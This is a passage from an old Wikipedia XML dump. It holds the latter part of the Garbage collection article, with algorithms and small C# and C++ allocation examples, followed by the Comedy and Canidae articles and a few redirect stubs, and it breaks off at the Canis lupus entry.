By making manual memory deallocation unnecessary (and typically impossible), garbage collection frees the programmer from having to worry about releasing objects that are no longer needed, which can otherwise consume a significant amount of design effort. It also aids in making language safer, because it prevents several classes of runtime errors. For example, it prevents [[dangling pointer]] errors, where a reference to a deallocated object is used. 

Many [[computer language]]s require garbage collection, either as part of the language specification (''e.g.'' [[Java programming language|Java]], [[C Sharp|C#]], and most [[scripting languages]]) or effectively for practical implementation (''e.g.'' formal languages like [[lambda calculus]]); these are said to be '''garbage-collected languages'''.  Other languages were designed for use with manual memory management, but have garbage collected implementations (''e.g.'', [[C programming language|C]], [[C++]]). Some languages, like [[Modula-3]], allow both garbage collection and manual memory management to co-exist in the same application by using separate heaps for collected and manually managed objects. In any case, it is far easier to implement garbage collection as part of the language's [[compiler]] and [[runtime]] system, but ''post hoc'' GC systems exist, including ones that do not require recompilation.  The garbage collector will almost always be closely integrated with the [[Dynamic memory allocation|memory allocator]].

==Tracing garbage collectors==

Tracing garbage collectors are the most common type of garbage collector. They focus on determining which objects are ''reachable'' (or potentially reachable), and then discard all remaining objects.

===Reachability of an object===

Informally, a reachable object can be defined as an object for which there exists some name in the program environment that leads to it, either directly or through references from other reachable objects.  More precisely, objects can be reachable in only two ways:
# A distinguished set of objects are assumed to be reachable -- these are known as the ''roots.'' Typically, these include all the objects referenced from anywhere in the [[call stack]] (that is, all local variables and parameters in the functions currently being invoked), and any global variables. 
# Anything referenced from a reachable object is itself reachable.  This is referred to as [[transitive relation|transitivity]].

The reachability definition of &quot;garbage&quot; is not optimal, insofar as the last time a program uses an object could be long before that object falls out of the environment scope. A distinction is sometimes drawn between ''syntactic garbage'', those objects the program cannot possibly reach, and ''semantic garbage'' , those objects the program will in fact never again use. The problem of precisely identifying semantic garbage can easily be shown to be [[Decision problem|undecidable]]: a program that allocates an object ''X'', runs an arbitrary input program ''P'', and uses ''X'' if and only if ''P'' finishes would require a semantic garbage collector to solve the [[halting problem]]. Although conservative heuristic methods for semantic garbage detection remain an active research area, essentially all practical garbage collectors focus on syntactic garbage as described here.

===Basic algorithm===
Tracing garbage collectors use an [[algorithm]] in which they perform garbage collection cycles.  A cycle is started when the collector decides (or is notified) that it needs to reclaim storage, which in particular happens when the system is low on memory.  All tracing garbage collectors implement some variant of the ''tri-colour marking'' [[Abstraction (computer science)|abstraction]], but simple collectors (such as the ''mark-and-sweep'' collector) often do not make this abstraction explicit.
Tri-colour marking works as follows:

# Create initial white, grey, and black sets; these sets will be used to maintain progress during the cycle.  Initially the white set or ''condemned set'' is the set of objects that are candidates for having their memory recycled.  The black set is the set of objects that cheaply can be proven to have no references to objects in the white set; in many implementations the black set starts off empty.  The grey set is all the remaining objects that may or may not have references to objects in the white set (and elsewhere).  These sets [[Partition#Computer_science|partition]] memory; every object in the system, including the root set, is in precisely one set.
# (This step is repeated until the grey set is empty.) Pick an object from the grey set.  ''Blacken'' this object (move it to the black set), by ''greying'' all the white objects it references directly.
# When there are no more objects in the grey set, then all the objects remaining in the white set are provably not reachable and the storage occupied by them can be reclaimed.

The tri-colour marking algorithm preserves an important invariant:
:No black object points directly to a white object.
This ensures that the white objects can be safely destroyed once the grey set is empty.

Some variations on the algorithm do not preserve the tricolour invariant but they use a modified form for which all the important properties hold.

===Implementation strategies===
In order to implement the basic tri-color algorithm, several important design decisions must be made, which can significantly affect the performance characteristics of the garbage collector.

====Moving vs. non-moving====

Once the unreachable set has been determined, the garbage collector may simply release the [[unreachable object]]s and leave everything else as it is, or it may copy some or all of the reachable objects into a new area of memory, updating all references to those objects as needed. These are called &quot;non-moving&quot; and &quot;moving&quot; garbage collectors, respectively.

At first, a moving GC strategy may seem inefficient and costly compared to the non-moving approach, since much more work would appear to be required on each cycle. In fact, however, the moving GC strategy leads to several performance advantages, both during the garbage collection cycle itself and during actual program execution:

* No additional work is required to reclaim the space freed by dead objects; the entire region of memory from which reachable objects were moved can be considered free space. In contrast, a non-moving GC must visit each unreachable object and somehow record that the memory it alone occupied is available.
* Similarly, new objects can be allocated very quickly. Since large contiguous regions of memory are usually made available by the moving GC strategy, new objects can be allocated by simply incrementing a 'free memory' pointer. A non-moving strategy may, after some time, lead to a heavily fragmented heap, requiring expensive consultation of &quot;free lists&quot; of small available blocks of memory in order to allocate new objects.
* If an appropriate traversal order is used, objects that refer to each other frequently can be moved very close to each other in memory, increasing the likelihood that they will be located in the same cache line or virtual memory page. This can significantly speed up access to these objects through these references.

====Copying vs. mark-and-sweep====
To further refine the distinction, tracing collectors can also be divided by considering how the three sets of objects (white, grey, and black) are maintained during a collection cycle.

The most straightforward approach is the semi-space collector, which dates to 1969. In this moving GC scheme, memory is partitioned into a &quot;from space&quot; and &quot;to space&quot;. Initially, objects are allocated into &quot;to space&quot;, until it becomes full and a collection is triggered.  At the start of a collection, the &quot;to space&quot; becomes the &quot;from space&quot;, and vice versa. The objects reachable from the root set are copied from the &quot;from space&quot; to the &quot;to space&quot;.  These objects are scanned in turn, and all objects that they point to are copied to &quot;to space&quot;, until all reachable objects have been copied to &quot;to space&quot;. Once the program continues execution, new objects are once again allocated from the &quot;to space&quot; until it is once again full and the process is repeated. This approach has the advantage of conceptual simplicity (the three object color sets are implicitly constructed during the copying process), but the disadvantage that a (possibly) very large contiguous region of free memory is necessarily required on every collection cycle.

A &quot;mark and sweep&quot; garbage collector maintains a bit (or two) with each object to record whether it is white or black; the grey set is either maintained as a separate list or using another bit. As the reference tree is traversed during a collection cycle, these bits are manipulated by the collector to reflect the current state. The mark and sweep strategy has the advantage that, once the unreachable set is determined, either a moving or non-moving collection strategy can be pursued; this choice of strategy can even be made at runtime, as available memory permits. It has the disadvantage of &quot;bloating&quot; objects by a small amount.

====Generational GC (aka Ephemeral GC)====
It has been empirically observed that, in many programs, the most recently created objects are also those most likely to quickly become unreachable (known as ''infant mortality'' or the ''generational hypothesis''). &lt;!--
the following sentence is embarassing without a reference, someone please find one

Experimental evidence shows that around 90% of objects die before their first garbage collection. --&gt; A generational GC divides objects into generations and, on most cycles, will place only the objects of a subset of generations into the initial white (condemned) set. Furthermore, the runtime system maintains knowledge of when references cross generations by observing the creation and overwriting of references. When the garbage collector runs, it may be able to use this knowledge to prove that some objects in the initial white set are unreachable without having to traverse the entire reference tree. If the generational hypothesis holds, this results in much faster collection cycles while still reclaiming most unreachable objects.

In order to implement this concept, many generational garbage collectors use separate memory regions for different ages of objects. When a region becomes full, those few objects that are referenced from older memory regions are promoted (copied) up to the next highest region, and the entire region can then be overwritten with fresh objects. This technique permits very fast incremental garbage collection, since the garbage collection of only one region at a time is all that is typically required.

Generational garbage collection is a [[Heuristic (computer science)|heuristic]] approach, and some unreachable objects may not be reclaimed on each cycle. It may therefore occasionally be necessary to perform a full mark and sweep or copying garbage collection to reclaim all available space. In fact, runtime systems for modern programming languages (such as [[Java programming language|Java]] and the [[.NET Framework]]) usually use some hybrid of the various strategies that have been described thusfar; for example, most collection cycles might look only at a few generations, while occasionally a mark-and-sweep is performed, and even more rarely a full copying is performed to combat fragmentation. The terms &quot;minor cycle&quot; and &quot;major cycle&quot; are sometimes used to describe these different levels of collector aggressiveness.

====Stop-the-world vs. incremental vs. concurrent====

Simple ''stop-the-world'' garbage collectors completely halt execution of the program to run a collection cycle, thus guaranteeing that new objects are not allocated and objects do not suddenly become unreachable while the collector is running. This has the obvious disadvantage that the program can perform no useful work while a collection cycle is running (sometimes called the &quot;embarrassing pause&quot;).

''Incremental'' garbage collectors are designed to reduce this disruption by interleaving their work with activity from the main program. Careful design is necessary to ensure that the main program does not interfere with the garbage collector and vice versa; for example, when the program needs to allocate a new object, the runtime system may either need to suspend it until the collection cycle is complete, or somehow notify the garbage collector that there exists a new, reachable object.

Finally, a ''concurrent'' garbage collector can run concurrently in real time with the main program on a [[symmetric multiprocessing]] machine. Complex [[Lock (computer science)|locking]] regimes may be necessary in order to guarantee correctness, and cache issues also make this less helpful than one might imagine. Nonetheless, concurrent GC may be desirable for SMP applications with high performance requirements.

====Precise vs. conservative and internal pointers====

Some collectors can correctly identify all pointers (references) in an object; these are called &quot;precise&quot; (or &quot;exact&quot; or &quot;accurate&quot;) collectors, the opposite being a &quot;conservative&quot; or &quot;partly conservative&quot; collector. &quot;Conservative&quot; collectors have to assume that any bit pattern in memory is a pointer if (when interpreted as a pointer) it would point into any allocated object. Thus, conservative collectors may have some false negatives, where storage is not released because of accidental fake pointers, but this is rarely a big drawback in practice. Whether a precise collector is practical usually depends on type safety properties of the programming language.

A related issue concerns ''internal pointers'', or pointers to fields within an object. If the semantics of a language allow internal pointers, then there may be many different addresses that can refer to the same object, which complicates determining whether an object is garbage or not.

===Performance implications===
Tracing garbage collectors require some implicit runtime [[Computational overhead|overhead]] that may be beyond the control of the programmer, and can sometimes lead to mysterious performance problems. For example, the tendency of the runtime system to pause program execution at arbitrary times to run the garbage collector may make GC languages inappropriate for some embedded systems, high-performance server software, and other applications with [[Real-time computing|real-time]] needs.

A more fundamental issue is that garbage collectors violate [[locality of reference]], since they deliberately go out of their way to find bits of memory that haven't been accessed recently. The performance of modern computer architectures is increasingly tied to [[Cache|caching]], which depends on the assumption of locality of reference for its effectiveness. Some garbage collection methods result in better locality of reference than others. Generational garbage collection is relatively cache-friendly, and copying collectors automatically defragment memory helping to keep related data together. Nonetheless, poorly timed garbage collection cycles could have a severe performance impact on some computations, and for this reason many runtime systems provide mechanisms that allow the program to temporarily suspend or delay garbage collection cycles.

Despite these issues, for many practical purposes, allocation/deallocation-intensive algorithms implemented in modern garbage collected languages can actually be faster than their equivalents using explicit memory management (at least without heroic optimizations by an expert programmer). A major reason for this is that the garbage collector allows the runtime system to [[Amortized analysis|amortize]] allocation and deallocation operations in a potentially advantageous fashion. For example, consider the following program in the (garbage-collected) [[C Sharp|C#]] language:

   class A {
   	private int x;
   	public A() { x = 0; x++; }
   }
   
   class Example {
   	public static void Main() {
   		for(int i = 0; i &lt; 1000000000; i++) {
   			A a = new A();
   		}
   		System.Console.WriteLine(&quot;DING!&quot;);
   	}
   }

And a nearly equivalent [[C++]] program:

   #include &lt;iostream&gt;
   
   class A {
   	int x;
   public:
   	 A() { x = 0; x++; }
   };
   
   int main() {
   	for(int i = 0; i &lt; 1000000000; i++) {
   		A* a = new A();
   		delete a;
   	}
   	std::cout &lt;&lt; &quot;DING!&quot; &lt;&lt; std::endl;
   }

Using standard [[Library (computer science)|libraries]] and typical compiler configurations, the [[C Sharp|C#]] program executes ''many'' times faster than the C++ program. This is because the C++ allocator must hunt for free blocks of memory in a potentially fragmented [[heap (programming)|heap]] in order to allocate new instances of the &lt;tt&gt;A&lt;/tt&gt; class. In contrast, the [[C Sharp|C#]] runtime system can allocate memory by incrementing a pointer from some region of memory previously set aside for new allocations, relying on the garbage collector to eventually release the unused objects and compact the heap. On the other hand, the garbage-collected program may have somewhat greater memory usage averaged over time, since instances of the &lt;tt&gt;A&lt;/tt&gt; class are not deallocated as quickly as they could be.

==Reference counting==

:''Main article: [[reference counting]]''

In contrast to tracing garbage collection, [[reference counting]] is a form of automatic memory management where each object has a count of the number of references to it. An object's reference count is incremented when a reference to it is created, and decremented when a reference is destroyed. The object's memory is reclaimed when the count reaches zero.

==Implementations==
GC comes either as a part of a programming language or an external library that can be added to a language that does not have built-in support of GC. [[Boehm garbage collector]] is the chief example for the latter.

Functional programming languages, like [[ML programming language|ML]], [[Haskell programming language|Haskell]] and [[Lisp programming language|Lisp]], traditionally use garbage collection. Lisp, which introduced [[functional programming]], is especially notable for using garbage collection before this technique was commonly used. [[type safety|Safe]] programming languages must use garbage collection: having a manual delete operation would introduce the possibility of having a reference to a non-existent object, which would violate the type safety guarantee.

[[Script language]]s like [[Perl]], [[Ruby programming language|Ruby]], [[Python programming language|Python]] and [[PHP]] tend to have built-in support of GC. Also, many object-oriented programming languages like [[Smalltalk programming language|Smalltalk]] and [[Java programming language|Java]] usually provide integrated garbage collection, a notable exception being [[C++]].

==See also==
*[[:Category:Memory management software]]
*[[Reversible computing]]

==External links==
*[http://www.memorymanagement.org/ The Memory Management Reference]
* Publications by the OOPS group at the [[University of Texas at Austin]]: http://www.cs.utexas.edu/users/oops/papers.html
*[http://www.hpl.hp.com/personal/Hans_Boehm/gc/ A garbage collector for C and C++] by [[Hans Boehm]] (the site also links to a number of articles on garbage collection in general)
* Article &quot;[http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dndotnet/html/dotnetGCbasics.asp Garbage Collector Basics and Performance Hints]&quot; by [[Rico Mariani]]
*[http://citeseer.ist.psu.edu/cis?q=garbage+collection Citations from CiteSeer]
*[http://www.osnews.com/story.php?news_id=6864 A Glance At Garbage Collection In Object-Oriented Languages]
*[http://www.cs.utexas.edu/users/EWD/ewd05xx/EWD595.PDF On-the-fly garbage collection: an exercise in cooperation] by [[Dijkstra|Edsger W. Dijkstra]] and [[Leslie Lamport]] and A.J.Martin and C.S.Scholten and E.F.M.Steffens
* Richard Jones and Rafael Lins, ''Garbage Collection: Algorithms for Automated Dynamic Memory Management'', Wiley and Sons (1996), ISBN: 0471941484

[[Category:Memory management]]

[[de:Automatische Speicherbereinigung]]
[[es:Recolección de basura]]
[[fr:Ramasse-miettes]]
[[it:Garbage collection]]
[[he:איסוף זבל (תכנות)]]
[[lt:Šiukšlių surinktuvas]]
[[nl:Garbage collection]]
[[ja:ガベージコレクション]]
[[pl:Garbage collection]]
[[pt:Coletor de lixo]]
[[ru:Сборка мусора]]</text>
    </revision>
  </page>
  <page>
    <title>Comedy</title>
    <id>6735</id>
    <revision>
      <id>42013190</id>
      <timestamp>2006-03-03T05:29:53Z</timestamp>
      <contributor>
        <username>Dodo bird</username>
        <id>901231</id>
      </contributor>
      <minor />
      <comment>rv</comment>
      <text xml:space="preserve">'''Comedy''' is the use of [[humour|humor]] in the form of [[theater]], where it simply referred to a [[play]] with a happy ending, in contrast to a [[tragedy]]. A recognized characteristic of comedy is that it is an intensely personal enjoyment.  People frequently don't find the same things amusing, but when they do it can help to create powerful bonds.
Humor being subjective, one may or may not find something humorous because it is either too offensive or not offensive enough. Comedy is judged according to a person’s taste. Some enjoy cerebral fare such as [[irony]] or [[black comedy]]; others may prefer ''[[Toilet humour|scatological humor]]'' (e.g. the &quot;[[flatulence|fart]] joke&quot;) or ''[[slapstick]]''. A common [[gender]] [[stereotype]] that plays on this convention is that men love the comedy of The [[Three Stooges]], while women do not.

[[Mel Brooks]] on comedy and [[tragedy]]: &quot;Tragedy is when I cut my finger. Comedy is when you fall down an elevator shaft and you die.&quot; 


==Comedy drama==

Comedy is the term applied to theatrical dramas the chief object of which are to amuse. It is contrasted on the one hand with tragedy and on the other with farce, burlesque, and so on. As compared with tragedy it is distinguished by having a happy ending (this being considered for a long time the essential difference), by quaint situations, and by lightness of dialogue and character-drawing. As compared with farce it abstains from crude and boisterous jesting, and is marked by some subtlety of dialogue and plot. It is, however, difficult to draw a hard and fast line of demarcation, there being a distinct tendency to combine the characteristics of farce with those of true comedy. This is perhaps more especially the case in the so-called &quot;musical comedy,&quot; which became popular in [[Great Britain]] and [[United States|America]] in the later [[19th century]], where true comedy is frequently subservient to broad farce and spectacular effects.

In the [[20th century]], the lines between tragedy and comedy have become somewhat blurred. The classical formula of tragedies ending with funerals, and comedies with weddings no longer holds true. The blackly comic works of many modern [[playwright]]s, including [[Samuel Beckett]], [[Harold Pinter]], and [[Martin McDonagh]] can be simultaneously comic and tragic. This dichotomy is summarised in [[Woody Allen]]'s account of a fictional playwright, Jorgen Lovborg: &quot;First came the series of plays dealing with anguish, despair, dread, fear, and loneliness (the comedies)&quot;. &lt;!-- From &quot;Lovborg's Women Considered&quot;, in ''Without Feathers''--&gt;

==Derivation==

The word &quot;comedy&quot; is derived from the Greek κωμοιδια, which is a compound either of κωμος (revel) and ωιδος (singer), or of κωμη (village) and ωιδος: it is possible that κωμος itself is derived from κωμη, and originally meant a village revel.

In ancient Greece, comedy seems to have originated in bawdy and ribald songs or recitations apropos of fertility festivals or gatherings, or also in poking fun at other people or stereotypes.{{ref|Cornford1}}

Aristotle, in his Poetics, tells us the same: that comedy originated in  Phallic songs and the light treatment of the otherwise base and ugly. He also adds that the origins of comedy are obscure because it was not treated seriously.{{ref|Aristotle1}}

P.W. Buckham writes that &quot;the lighter sort of Iambic became became Comic poets, the graver became Tragic instead of Heroic&quot;.{{ref|Buckham1}}

The word comes into modern usage through the Latin ''comoedia ''and Italian ''commedia''. It has passed through various shades of meaning. In the [[Middle Ages|middle ages]] it meant simply a story with a happy ending. Thus some of [[Chaucer]]'s Tales are called comedies, and in this sense [[Dante]] used the term in the title of his poem, La Commedia (cf. his Epistola X., in which he speaks of the comic style as &quot;loquutio vulgaris, in qua et mulierculae communicant&quot;; again &quot;comoedia vero remisse et humiliter&quot;; &quot;differt a tragoedia per hoc, quod t. in principio est admirabilis et quieta, in fine sive exitu est foetida et horribilis&quot;). Subsequently the term is applied to [[mystery play]]s with a happy ending. The modern usage combines this sense with that in which [[Renaissance]] scholars applied it to the ancient comedies.

The adjective &quot;comic&quot; (Greek κομικος), which strictly means that which relates to comedy, is in modern usage generally confined to the sense of &quot;laughter-provoking&quot;: it is distinguished from &quot;humorous&quot; or &quot;witty&quot; inasmuch as it is applied to an incident or remark which provokes spontaneous laughter without a special mental effort. The phenomena connected with laughter and that which provokes it, the comic, have been carefully investigated by psychologists, in contrast with other phenomena connected with the emotions. It is very generally agreed that the predominating characteristics are incongruity or contrast in the object, and shock or emotional seizure on the part of the subject. It has also been held that the feeling of superiority is an essential, if not the essential, factor: thus [[Thomas Hobbes|Hobbes]] speaks of laughter as a &quot;sudden glory.&quot; Physiological explanations have been given by [[Immanuel Kant|Kant]], [[Herbert Spencer|Spencer]] and [[Charles Darwin|Darwin]]. Modern investigators have paid much attention to the origin both of laughter and of smiling, the development of the &quot;play instinct&quot; and its emotional expression.

==Notes==
#{{note|Cornford1}} Francis MacDonald Cornford, The Origin of Attic Comedy, 1934.
#{{note|Aristotle1}} Aristotle, Poetics, lines beginning at 1449a. [http://www.perseus.tufts.edu/cgi-bin/ptext?lookup=Aristot.+Poet.+1449a]
#{{note|Buckham1}} P.W. Buckham, p. 243

==References==
*Aristotle, Poetics.
*Buckham, Philip Wentworth, ''Theatre of the Greeks'', 1827.
*Pickard-Cambridge, Sir Arthur Wallace
**''Dithyramb, Tragedy, and Comedy '', 1927.
**''The Theatre of Dionysus in Athens'', 1946.
**''The Dramatic Festivals of Athens'', 1953.
*Sourvinou-Inwood, Christiane, ''Tragedy and Athenian Religion'', Oxford University Press, 2003.
*Wiles, David, ''The Masked Menander: Sign and Meaning in Greek and Roman Performance'', 1991.

==See also==

===Forms===

* [[Stand-up comedy]]
**[[Alternative comedy]] - a largely British term relating to comedians in the ascendant throughout the [[1980s]] and beyond.
**[[Improvisational comedy]] - though not confined to stand-up, it is commonly held in high regard on the stand-up circuit.
**[[Impressionist (entertainment)|Impressionists]]
* [[Sketch comedy]] - short comedy scenes as in contrast to [[Situation comedy|sitcom]].
* [[Television comedy]] and [[Radio comedy]]
** [[Situation comedy]]
* [[Comedy film]]
**[[gross-out film]]
**[[Parody film]]
**[[Horror film]]
**[[romantic comedy film]]
**[[screwball comedy film]]
**[[slapstick film]]
**[[splatstick film]] (sic)
**[[anarchic comedy film]]
* [[Comic novel]]
*[[List of musical comedians|Musical comedy]]
* [[Tragicomedy]]
* [[Dramedy]] (AKA Comedy-drama)

===Styles===

* [[Black comedy]]
* [[Satire]]
* [[Parody]]
* [[Adage]]
* [[Irony]]

===Historical or theatre===
* [[Greek_comedy]]
* [[Clown]]
* [[Commedia dell'arte]] - historically, a form of improvisational theatre, chiefly from the 16th to 18th centuries.
* [[Farce]] - most often thought of as theatrical, but has been adapted for other media.
* [[Jester]]s - clowns associated with the middle ages.
* [[Vaudeville]] - comedy performed in theatres that declined as television ownership increased.

===Definitions===

* [[Comedian]]
* [[Comedy club]]

===Comedy events and awards===

* [[British Comedy Awards]]
* [[Just for laughs]] festival
* [[Melbourne International Comedy Festival]]
* HBO Comedy Arts Festival

===Lists of comedy performers===

* [[List of comedians]] 
* [[List of entertainer pairs|List of entertainer pairs or double acts]]
* [[List of Dr Demento's radio show comedians]]

====by nationality====

* [[Australian comedy]]
* [[British comedian|List of British Comedians]]
* [[List of Italian comedians]]
* [[List of Finnish comedians]]
* [[List of Puerto Rican comedians]]
* [[List of Mexican comedians]]

===Lists of comedy programmes=== 

* [[British comedy]] - article on British comedy and a list of British comedy programmes.
* [[Britcom]] - list of British sitcoms.
* [[List of British TV shows remade for the American market]]

===Other lists===

* [[List of comedies]] - theatre/radio/television and from France/Russia/Canada/Australia/UK/US

==See also==
* [[Humour]] 
* [[Joke]]
* [[Laughter]]
* [[Rule of three (writing)]]

==External links==
*[http://www.emerson.edu/comedy Comedy Archives] Site of the American Comedy Archives, dedicated to preserving primary source material from the legends of the comic arts.
*[http://www.comedyclassics.org ComedyClassics.org] Forum for discussion about classic comedy from movies (silent &amp; talkie), radio, and TV.
*[http://comedy.wikicities.com Wikicomedy]
*[http://www.wikihumor.com WikiHumor.com] A wiki dedicated to humor..
*[http://www.howtobefunny.net Creating Comedy] Learning to create comedy on your own.
*[http://www.splangy.com/radio/ The Sound of Young America]  A public radio program featuring interviews with comics.
*[http://www.theatrehistory.com/ancient/bates001.html Article on the origin of comedy]
*[http://www.6toe.com Site that strives on comedy as a media outlet.]

[[Category:Comedy| ]]

[[cs:Komedie]]
[[da:Komedie]]
[[de:Komödie]]
[[et:Komöödia]]
[[el:Κωμωδία]]
[[es:Comedia]]
[[eo:Komedio]]
[[fr:Comédie]]
[[ko:희극]]
[[id:Melawak]]
[[it:Commedia]]
[[he:קומדיה]]
[[la:Comoedia]]
[[nl:Komedie]]
[[ja:喜劇]]
[[no:Komedie]]
[[os:Комеди]]
[[pl:Komedia]]
[[pt:Comédia]]
[[ru:Комедия]]
[[simple:Comedy]]
[[sk:Komédia]]
[[sl:Komedija]]
[[sr:Комедија]]
[[fi:Komedia]]
[[sv:Komedi]]
[[uk:Комедія]]
[[zh:喜劇]]</text>
    </revision>
  </page>
  <page>
    <title>Canidae</title>
    <id>6736</id>
    <revision>
      <id>41434515</id>
      <timestamp>2006-02-27T07:47:23Z</timestamp>
      <contributor>
        <username>Zetawoof</username>
        <id>110325</id>
      </contributor>
      <minor />
      <comment>encyclopedic tone</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Canidae
| image = Coyote portrait.jpg
| image_width = 200px
| image_caption = [[Coyote]] (''Canis latrans'')
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[mammal|Mammalia]]
| ordo = [[carnivora|Carnivora]]
| familia = '''Canidae'''
| familia_authority = [[Johann Fischer von Waldheim|G. Fischer de Waldheim]], 1817
| subdivision_ranks = Genera
| subdivision = 
* ''[[Alopex]]''
* ''[[Atelocynus]]''
* ''[[Canis]]''
* ''[[Cerdocyon]]''
* ''[[Chrysocyon]]''
* ''[[Dhole|Cuon]]''
* ''[[Dusicyon]]''
* ''[[Fennecus]]''
* ''[[Lycalopex]]''
* ''[[Lycaon pictus|Lycaon]]''
* ''[[Nyctereutes]]''
* ''[[Otocyon]]''
* ''[[Pseudalopex]]''
* ''[[Speothos]]''
* ''[[Urocyon]]''
* ''[[Vulpes]]''
}}
'''Canidae''' is the family of [[carnivorous]] and [[omnivorous]] [[mammal]]s commonly known as canines. It includes [[dog]]s, [[wolf|wolves]], [[fox]]es, [[coyote]]s, and [[jackal]]s.  These animals are all [[digitigrade]]s, meaning they walk on their toes.

==A classification of dogs==
Note that the subdivision of Canidae into &quot;foxes&quot; and &quot;true dogs&quot; may not be in accordance with the actual relations, and that the [[alpha taxonomy|taxonomic]] classification of several canines is disputed. Recent [[DNA]] analysis has shown, however, that Canini and Vulpini are valid [[cladistics|clades]], with the exception of two [[genus|genera]]: ''Nyctereutes'' and ''Otocyon''. These are canid &quot;[[outgroup]]s&quot; and are not closely related to vulpines nor canines. ''Speothos'' and ''Chrysocyon'' are primitive members of Canini, but might be placed in their own clade. ''Cuon'' may in fact be part of ''Canis'' and there is evidence that ''Alopex'' and ''Fennecus'' are not valid clades, but are both part of ''Vulpes''. The [[dog|Domestic Dog]] is listed by some authorities as ''Canis familiaris'' and others (including the [[Smithsonian Institution]] and the American Society of Mammalogists) as a subspecies of the Wolf (i.e., ''Canis lupus familiaris''); the [[Red Wolf]] may or may not be a full species; and the [[Dingo]], which is variously classified as ''Canis lupus dingo'', ''Canis dingo'' and ''Canis familiaris dingo''. 

* '''True dogs''' - Tribe Canini
** Genus ''[[Canis]]''
*** [[Coyote]], ''Canis latrans''
*** [[Wolf]], ''Canis lupus''
**** [[dog|Domestic Dog]], ''Canis lupus familiaris''
**** [[Dingo]], ''Canis lupus dingo'' or ''Canis lupus familiaris dingo''
**** many other proposed subspecies
*** [[Red Wolf]], ''Canis rufus'' or ''Canis lupus rufus''
*** [[Ethiopian Wolf]], ''Canis simensis'' (also called Abyssinian Wolf, Simien Fox and Simien Jackal) 
*** [[Jackal]]
**** [[Golden Jackal]], ''Canis aureus''
**** [[Side-striped Jackal]], ''Canis adustus''
**** [[Black-backed jackal]], ''Canis mesomelas''
** Genus ''Lycaon''
*** [[African Hunting Dog]], ''Lycaon pictus'' (also called African Wild Dog)
** Genus ''Cuon''
*** [[Dhole]], ''Cuon alpinus''
** Genus ''Nyctereutes''
*** [[Raccoon Dog]], ''Nyctereutes procyonoides''
** Genus ''Atelocynus''
*** [[Short-eared Dog]], ''Atelocynus microtis''
** Genus ''Speothos''
*** [[Bush Dog]], ''Speothos venaticus''
** Genus ''Chrysocyon''
*** [[Maned Wolf]], ''Chrysocyon brachyurus''
** (Genus ''Dusicyon'' extinct)
*** ([[Falkland Island fox|Falkland Island Fox]], ''Dusicyon australis'' extinct)
** Genus ''[[Pseudalopex]]''
*** [[Culpeo]], ''Pseudalopex culpaeus''
*** [[Darwin's Fox]], ''Pseudalopex fulvipes''
*** [[Argentine Grey Fox]], ''Pseudalopex griseus''
*** [[Pampas Fox]], ''Pseudalopex gymnocercus''
*** [[Sechura Fox]], ''Pseudalopex sechurae''
*** [[Hoary Fox]], ''Pseudalopex vetulus''
** Genus ''Cerdocyon''
*** [[Crab-eating Fox]], ''Cerdocyon thous''
* '''Foxes''' - Tribe Vulpini
** Genus ''[[Vulpes]]''
*** [[Red Fox]], ''Vulpes vulpes''
*** [[Swift Fox]], ''Vulpes velox''
*** [[Kit Fox]], ''Vulpes macrotis''
*** [[Corsac Fox]], ''Vulpes corsac''
*** [[Cape Fox]], ''Vulpes chama''
*** [[Pale Fox]], ''Vulpes pallida''
*** [[Bengal Fox]], ''Vulpes bengalensis''
*** [[Tibetan Fox]], ''Vulpes ferrilata''
*** [[Blanford's Fox]], ''Vulpes cana''
*** [[Rueppel's Fox]], ''Vulpes rueppelli''
*** [[Steppe Fox]],  ''Vulpes corsac''
*** [[Fennec]], ''Fennecus zerda''
** Genus ''Alopex''
*** [[Arctic Fox]], ''Alopex lagopus''
** Genus ''Otocyon''
*** [[Bat-eared Fox]], ''Otocyon megalotis''
** Genus ''[[Urocyon]]''
*** [[Gray Fox]], ''Urocyon cinereoargenteus''
*** [[Island fox|Island Fox]], ''Urocyon littoralis''

==Dentition==
Canines have 42 [[teeth]] - their [[dentition|dental formula]] is:
{{dentition2 | 3.1.4.2|3.1.4.3}}

The deciduous or baby teeth formula is 3 1 3, where molars are completely absent.

==Canine copulation==
When [[copulating]], a male canine initially mounts the female from behind, as with most [[tetrapod]]s. The male dog has a ''[[bulbus glandis]]'' at the base of the [[penis]], a spherical [[erectile tissue]] which traps the penis inside the female's [[vagina]] during [[copulation]] as it becomes engorged with blood. &lt;sup&gt;[http://arbl.cvmbs.colostate.edu/hbooks/pathphys/reprod/semeneval/dog.html]&lt;/sup&gt; Once the penis is locked into the vagina by the bulbus glandis, the male lifts a leg and swings it over the female's back while turning around. The two stand with their hind ends touching and the penis locked inside the vagina while [[ejaculation]] occurs, decreasing leakage of [[semen]] from the vagina. Then the bulbus glandis disengorges, allowing the mates to separate.   

[[Virgin]] dogs can become quite distressed at finding themselves unable to separate during their first copulation.   

Note that the term &quot;[[doggy style]]&quot; is a misnomer. The canine mounting behavior with pelvic thrust is a dominance gesture, and does not depend on the sex of the animals involved - it should not be confused with canine copulation. 


[[Category:Canines| ]]

&lt;!--- en:Canidae ---&gt;

[[ast:Canidae]]
[[bg:Кучета]]
[[cs:Psovití]]
[[da:Hundefamilien]]
[[de:Hunde]]
[[eo:Kanisedoj]]
[[es:Canidae]]
[[fa:سگ‌سانان]]
[[fi:Koiraeläimet]]
[[fr:Canidae]]
[[he:כלביים]]
[[is:Hundaætt]]
[[it:Canidae]]
[[ja:イヌ科]]
[[ko:갯과]]
[[la:Canidae]]
[[lb:Hënn]]
[[lt:Šuniniai]]
[[nds:Hund]]
[[nl:Hondachtigen]]
[[nn:Hundefamilien]]
[[no:Hundefamilien]]
[[oc:Canidae]]
[[pl:Psowate]]
[[pt:Canidae]]
[[ru:Псовые]]
[[sv:Hunddjur]]
[[zh:犬科]]</text>
    </revision>
  </page>
  <page>
    <title>Cuon alpinus</title>
    <id>6737</id>
    <revision>
      <id>15904858</id>
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      </contributor>
      <minor />
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</text>
    </revision>
  </page>
  <page>
    <title>Canis rufus</title>
    <id>6738</id>
    <revision>
      <id>15904859</id>
      <timestamp>2003-05-15T03:32:00Z</timestamp>
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        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[Red Wolf]]</text>
    </revision>
  </page>
  <page>
    <title>Canis lupus</title>
    <id>6739</id>
    <revision>
      <id>22139791</id>
      <timestamp>2005-08-30T00:37:57Z</timestamp>
